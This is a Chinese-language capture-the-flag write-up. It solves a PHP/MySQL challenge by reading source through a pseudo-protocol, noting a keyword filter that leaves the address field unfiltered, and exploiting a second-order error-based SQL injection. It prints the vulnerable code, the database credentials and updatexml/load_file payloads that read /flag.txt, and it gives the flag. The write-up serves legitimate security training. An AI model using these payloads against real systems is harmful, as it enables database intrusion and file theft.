
嘻嘻嘻吗,没钱钱买,可恶恶呢
打开源码,发现了一个奇奇怪怪的

鬼鬼祟祟,必有蹊跷
第一反应,看到这个就是文件包含或者伪协议
但是文件包含看不出来,试试伪协议读取
但是没什么用啊
宝了个贝的
在其他的界面读,index不行
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = addslashes($_POST["address"]); $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); }
if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']; $result = $db->query($sql); if(!$result) { echo 'error'; print_r($db->error); exit; } $msg = "订单䀀//change
|
发现了config.php
读一下
<?php
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
$DATABASE = array(
"host" => "127.0.0.1", "username" => "root", "password" => "root", "dbname" =>"ctfusers" );
$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
|
所以,我们发现了flag应该在ctfusers中
我们也可以确定是sql注入
再来看看之前的
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = addslashes($_POST["address"]); $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); }
if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']; $result = $db->query($sql); if(!$result) { echo 'error'; print_r($db->error); exit; } $msg = "订单䀀//change
|
发现是在user_name和phone上出现了waf,address啥也没有
所以大概率是在address进行注入
接下来就是确定一下用什么注入方式了
我觉得肯定是二次注入,否则搞那么多页面干吗
事实证明是这样的,但是思路错了
我一开始随便注册了一个然后在修改地址的地方修改再去查询界面看
但是…

可以确定,就是会在修改界面,将这些字符全部实体化,所以…宝了个贝的
想起了之前写过的一道题[RCTF2015]EasySQL
在注册是就使用报错注入,然后在修改页面直接报错,太像了!!!
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30))),1)#
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),1)#
|
拿到flag{c9c29e2d-6f34-465f-94ec-3d4f2468716b}
注意!
这里要注册两个不一样的账户读取哦~